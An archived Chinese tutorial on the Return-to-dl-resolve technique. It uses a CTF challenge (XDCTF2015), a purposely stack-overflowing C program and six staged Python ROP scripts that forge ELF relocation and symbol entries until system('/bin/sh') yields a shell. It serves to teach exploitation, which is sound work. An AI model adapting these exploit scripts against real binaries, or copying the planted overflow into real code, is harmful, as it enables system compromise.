# 通过ELF动态装载构造ROP链 （ Return-to-dl-resolve）

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-04-08T02:55:00Z
Canonical: https://wepostx.com/topics/183

> 乌云历史资料归档
>
> **原始作者：** Bigtang
> **原始编号：** superkieran-wooyundrops:1137
> **原始发布时间：** 2016-04-08 10:55
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

玩CTF的赛棍都知道，PWN类型的漏洞题目一般会提供一个可执行程序，同时会提供程序运行动态链接的libc库。通过libc.so可以得到库函数的偏移地址，再结合泄露GOT表中libc函数的地址，计算出进程中实际函数的地址，以绕过ASLR。这种手法叫return-to-libc。本文将介绍一种不依赖libc的手法。
以XDCTF2015-EXPLOIT2为例，这题当时是只给了可执行文件的。出这题的初衷就是想通过Return-to-dl-resolve的手法绕过NX和ASLR的限制。本文将详细介绍一下该手法的利用过程。
这里构造一个存在栈缓冲区溢出漏洞的程序，以方便后续我们构造ROP链。

```text
#!cpp #include <unistd.h> #include <stdio.h> #include <string.h> void vuln() { char buf[100]; setbuf(stdin,buf); read(0,buf,256); // Buffer OverFlow } int main() { char buf[100] = "Welcome to XDCTF2015~!\n"; setbuf(stdout,buf); write(1,buf,strlen(buf)); vuln(); return 0; }
```

# 0x01 准备知识

### 相关结构
ELF可执行文件由ELF头部，程序头部表和其对应的段，节区头部表和其对应的节组成。如果一个可执行文件参与动态链接，它的程序头部表将包含类型为 PT_DYNAMIC 的段，它包含.dynamic 节区。结构如图，

```text
#!c typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;
```
其中Tag对应着每个节区。比如JMPREL对应着.rel.plt

![原文图片](/media/2016/06/0feef9104d2634af74b5b650d574a479)

节区中包含目标文件的所有信息。节的结构如图。

```text
#!c typedef struct{ Elf32_Word sh_name; // 节区头部字符串表节区的索引 Elf32_Word sh_type; // 节区类型 Elf32_Word sh_flags; // 节区标志，用于描述属性 Elf32_Addr sh_addr; // 节区的内存映像 Elf32_Off sh_offset; // 节区的文件偏移 Elf32_Word sh_size; // 节区的长度 Elf32_Word sh_link; // 节区头部表索引链接 Elf32_Word sh_info; // 附加信息 Elf32_Word sh_addralign; // 节区对齐约束 Elf32_Word sh_entsize; // 固定大小的节区表项的长度 }Elf32_Shdr;
```
如图，列出了该文件的28个节区。其中类型为REL的节区包含重定位表项。

![原文图片](/media/2016/06/7f5556b771e2061058f820064eb56849)

（1） 其中.rel.plt节是用于函数重定位，.rel.dyn节是用于变量重定位

```text
#!c typedef struct { Elf32_Addr r_offset; // 对于可执行文件，此值为虚拟地址 Elf32_Word r_info; // 符号表索引 } Elf32_Rel; #define ELF32_R_SYM(i) ((i)>>8) #define ELF32_R_TYPE(i) ((unsigned char)(i)) #define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))
```
如图，在.rel.plt中列出了链接的C库函数，以下均已write函数为例，write函数的r_offset=0x804a010,r_info=0x507

![原文图片](/media/2016/06/097cbc04a1013a1a4f18f9b81685492d)

（2） 其中.got节保存全局变量偏移表，.got.plt节存储着全局函数偏离表。.got.plt对应着Elf32_Rel结构中r_offset的值。如图，write函数在GOT表中位于0x804a010

![原文图片](/media/2016/06/1e64e972dd52a94eb8b2f5527c5139fc)

（3）其中.dynsym节区包含了动态链接符号表。其中，Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)。根据定义，ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info)>>8。

```text
#!c typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
```
如图，write的索引值为ELF32_R_SYM(0x507) = 0x507 >> 8 = 5。而Elf32_Sym[5]即保存着write的符号表信息。并且ELF32_R_TYPE(0x507) = 7,对应R_386_JUMP_SLOT

![原文图片](/media/2016/06/d2c119f1290884b2f2fba2a2fbcec7d1)

（4）其中.dynstr节包含了动态链接的字符串。这个节区以\x00作为开始和结尾，中间每个字符串也以\x00间隔。如图，Elf32_Sym[5]->st_name = 0x54,所以.dynstr加上0x54的偏移量，就是字符串write

![原文图片](/media/2016/06/ebbf16ef30dde6712d9eb35150f89779)

（5）其中.plt节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。如图，当程序执行call [email protected]时，实际会跳到0x80483c0去执行。

![原文图片](/media/2016/06/af3074335da1bc6ea5ce457a03664045)

### 延迟绑定
程序在执行的过程中，可能引入的有些C库函数到结束时都不会执行。所以ELF采用延迟绑定的技术，在第一次调用C库函数是时才会去寻找真正的位置进行绑定。
具体来说，在前一部分我们已经知道，当程序执行call [email protected]时，实际会跳到0x80483c0去执行。而0x80483c0处的汇编代码仅仅三行。我们来看一下这三行代码做了什么。

![原文图片](/media/2016/06/af3074335da1bc6ea5ce457a03664045)

第一行，上一部分也提到了0x804a010是write的GOT表位置，当我们第一次调用write时，其对应的GOT表里并没有存放write的真实地址，而是下一条指令的地址。第二、三行，把reloc_arg=0x20作为参数推入栈中，跳到0x8048370继续执行。

![原文图片](/media/2016/06/4a0c9d9d8fbd8bd8367dc31686e14d9f)

0x8048370再把link_map = *(GOT+4)作为参数推入栈中，而*(GOT+8)中保存的是_dl_runtime_resolve函数的地址。因此以上指令相当于执行了_dl_runtime_resolve(link_map, reloc_arg)，该函数会完成符号的解析，即将真实的write函数地址写入其GOT条目中，随后把控制权交给write函数。

![原文图片](/media/2016/06/8f7fa5a44206ff5235a5c8a0f3d68e8a)

其中_dl_runtime_resolve是在glibc-2.22/sysdeps/i386/dl-trampoline.S中用汇编实现的。0xf7ff04fb处即调用_dl_fixup，并且通过寄存器传参。

![原文图片](/media/2016/06/42092a06d98869935fe58f0520be8e9d)

其中_dl_fixup是在glibc-2.22/elf/dl-runtime.c实现的，我们只关注一些主要函数。

```text
#!c _dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
```
首先通过参数reloc_arg计算重定位入口，这里的JMPREL即.rel.plt，reloc_offset即reloc_arg。

```text
#!c const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
```
然后通过reloc->r_info找到.dynsym中对应的条目。

```text
#!c const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
```
这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7

```text
#!c assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
```
接着通过strtab + sym->st_name找到符号表字符串，result为libc基地址

```text
#!c result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
```
value为libc基址加上要解析函数的偏移地址，也即实际地址。

```text
#!c value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
```
最后把value写入相应的GOT表条目中

```text
#!c return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
```

### 漏洞利用方式

- 控制EIP为PLT[0]的地址，只需传递一个index_arg参数

- 控制index_arg的大小，使reloc的位置落在可控地址内

- 伪造reloc的内容，使sym落在可控地址内

- 伪造sym的内容，使name落在可控地址内

- 伪造name为任意库函数，如system

### 控制EIP
首先确认一下进程当前开了哪些保护

![原文图片](/media/2016/06/8f5c33fbae98f4aeb4f6f6eb2f128468)

由于程序存在栈缓冲区漏洞，我们可以用PEDA很快定位覆写EIP的位置。

![原文图片](/media/2016/06/b6397475dc256f1bde4331964d1d607c)

stage1
我们先写一个ROP链，直接返回到[email protected]

```text
#!python from zio import * offset = 112 addr_plt_read = 0x08048390 # objdump -d -j.plt bof | grep "read" addr_plt_write = 0x080483c0 # objdump -d -j.plt bof | grep "write" #./rp-lin-x86 --file=bof --rop=3 --unique > gadgets.txt pppop_ret = 0x0804856c pop_ebp_ret = 0x08048453 leave_ret = 0x08048481 stack_size = 0x800 addr_bss = 0x0804a020 # readelf -S bof | grep ".bss" base_stage = addr_bss + stack_size target = "./bof" io = zio((target)) io.read_until('Welcome to XDCTF2015~!\n') # io.gdb_hint([0x80484bd]) buf1 = 'A' * offset buf1 += l32(addr_plt_read) buf1 += l32(pppop_ret) buf1 += l32(0) buf1 += l32(base_stage) buf1 += l32(100) buf1 += l32(pop_ebp_ret) buf1 += l32(base_stage) buf1 += l32(leave_ret) io.writeline(buf1) cmd = "/bin/sh" buf2 = 'AAAA' buf2 += l32(addr_plt_write) buf2 += 'AAAA' buf2 += l32(1) buf2 += l32(base_stage+80) buf2 += l32(len(cmd)) buf2 += 'A' * (80-len(buf2)) buf2 += cmd + '\x00' buf2 += 'A' * (100-len(buf2)) io.writeline(buf2) io.interact()
```
最后会把我们输入的cmd打印出来

![原文图片](/media/2016/06/c5624f92544b30bd255b5e0787ccabbc)

stage2
这次我们控制EIP返回到PLT0，要带上index_offset。这里我们修改一下buf2

```text
#!python ... cmd = "/bin/sh" addr_plt_start = 0x8048370 # objdump -d -j.plt bof index_offset = 0x20 buf2 = 'AAAA' buf2 += l32(addr_plt_start) buf2 += l32(index_offset) buf2 += 'AAAA' buf2 += l32(1) buf2 += l32(base_stage+80) buf2 += l32(len(cmd)) buf2 += 'A' * (80-len(buf2)) buf2 += cmd + '\x00' buf2 += 'A' * (100-len(buf2)) io.writeline(buf2) io.interact()
```
同样会把我们输入的cmd打印出来

![原文图片](/media/2016/06/5486162060758236d08c434907b051c4)

stage3
这一次我们控制index_offset，使其指向我们伪造的fake_reloc

```text
#!python ... cmd = "/bin/sh" addr_plt_start = 0x8048370 # objdump -d -j.plt bof addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out index_offset = (base_stage + 28) - addr_rel_plt addr_got_write = 0x804a020 r_info = 0x507 fake_reloc = l32(addr_got_write) + l32(r_info) buf2 = 'AAAA' buf2 += l32(addr_plt_start) buf2 += l32(index_offset) buf2 += 'AAAA' buf2 += l32(1) buf2 += l32(base_stage+80) buf2 += l32(len(cmd)) buf2 += fake_reloc buf2 += 'A' * (80-len(buf2)) buf2 += cmd + '\x00' buf2 += 'A' * (100-len(buf2)) io.writeline(buf2) io.interact()
```
同样会把我们输入的cmd打印出来

![原文图片](/media/2016/06/d9bf20fc9e7386d2fe331eaaf64cbcfe)

stage4
这一次我们伪造fake_sym，使其指向我们控制的st_name

```text
#!python cmd = "/bin/sh" addr_plt_start = 0x8048370 # objdump -d -j.plt bof addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out index_offset = (base_stage + 28) - addr_rel_plt addr_got_write = 0x804a020 addr_dynsym = 0x080481d8 addr_dynstr = 0x08048268 fake_sym = base_stage + 36 align = 0x10 - ((fake_sym - addr_dynsym) & 0xf) fake_sym = fake_sym + align index_dynsym = (fake_sym - addr_dynsym) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = l32(addr_got_write) + l32(r_info) st_name = 0x54 fake_sym = l32(st_name) + l32(0) + l32(0) + l32(0x12) buf2 = 'AAAA' buf2 += l32(addr_plt_start) buf2 += l32(index_offset) buf2 += 'AAAA' buf2 += l32(1) buf2 += l32(base_stage+80) buf2 += l32(len(cmd)) buf2 += fake_reloc buf2 += 'B' * align buf2 += fake_sym buf2 += 'A' * (80-len(buf2)) buf2 += cmd + '\x00' buf2 += 'A' * (100-len(buf2)) io.writeline(buf2) io.interact()
```
同样会把我们输入的cmd打印出来

![原文图片](/media/2016/06/9952df3da02a27e58c61a5311349ea28)

stage5
这次把st_name指向我们伪造的字符串write

```text
#!python ... cmd = "/bin/sh" addr_plt_start = 0x8048370 # objdump -d -j.plt bof addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out index_offset = (base_stage + 28) - addr_rel_plt addr_got_write = 0x804a020 addr_dynsym = 0x080481d8 addr_dynstr = 0x08048268 addr_fake_sym = base_stage + 36 align = 0x10 - ((addr_fake_sym - addr_dynsym) & 0xf) addr_fake_sym = addr_fake_sym + align index_dynsym = (addr_fake_sym - addr_dynsym) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = l32(addr_got_write) + l32(r_info) st_name = (addr_fake_sym + 16) - addr_dynstr fake_sym = l32(st_name) + l32(0) + l32(0) + l32(0x12) buf2 = 'AAAA' buf2 += l32(addr_plt_start) buf2 += l32(index_offset) buf2 += 'AAAA' buf2 += l32(1) buf2 += l32(base_stage+80) buf2 += l32(len(cmd)) buf2 += fake_reloc buf2 += 'B' * align buf2 += fake_sym buf2 += "write\x00" buf2 += 'A' * (80-len(buf2)) buf2 += cmd + '\x00' buf2 += 'A' * (100-len(buf2)) io.writeline(buf2) io.interact()
```
同样会把我们输入的cmd打印出来

![原文图片](/media/2016/06/878da5528cd4bf99be8299a7e608cc26)

stage6
替换write为system,并修改system的参数

```text
#!python ... cmd = "/bin/sh" addr_plt_start = 0x8048370 # objdump -d -j.plt bof addr_rel_plt = 0x8048318 # objdump -s -j.rel.plt a.out index_offset = (base_stage + 28) - addr_rel_plt addr_got_write = 0x804a020 addr_dynsym = 0x080481d8 addr_dynstr = 0x08048268 addr_fake_sym = base_stage + 36 align = 0x10 - ((addr_fake_sym - addr_dynsym) & 0xf) addr_fake_sym = addr_fake_sym + align index_dynsym = (addr_fake_sym - addr_dynsym) / 0x10 r_info = (index_dynsym << 8 ) | 0x7 fake_reloc = l32(addr_got_write) + l32(r_info) st_name = (addr_fake_sym + 16) - addr_dynstr fake_sym = l32(st_name) + l32(0) + l32(0) + l32(0x12) buf2 = 'AAAA' buf2 += l32(addr_plt_start) buf2 += l32(index_offset) buf2 += 'AAAA' buf2 += l32(base_stage+80) buf2 += 'aaaa' buf2 += 'aaaa' buf2 += fake_reloc buf2 += 'B' * align buf2 += fake_sym buf2 += "system\x00" buf2 += 'A' * (80-len(buf2)) buf2 += cmd + '\x00' buf2 += 'A' * (100-len(buf2)) io.writeline(buf2) io.interact()
```
得到一个shell

![原文图片](/media/2016/06/072a17aae28038927c1cfb8f9430420a)

### WTF
以上只是叙述原理，当然你比较懒的话，这里已经有成熟的工具辅助编写利用脚本[roputils](https://github.com/inaz2/roputils/blob/master/examples/dl-resolve-i386.py)

# 0x02 参考

- [ELF文件格式](https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=elf/elf.h)

- [ELF动态解析符号过程](http://www.xfocus.net/articles/200201/337.html)

- [Return to dl-resolve](http://angelboy.logdown.com/posts/283218-return-to-dl-resolve)

- [ROP stager + Return-to-dl-resolveによるASLR+DEP回避](http://inaz2.hatenablog.com/entry/2014/07/15/023406)

- [Return to dl-resolve](http://rk700.github.io/article/2015/08/09/return-to-dl-resolve)

- [通过ELF动态装载机制进行漏洞利用](http://www.inforsec.org/wp/?p=389)

## Replies
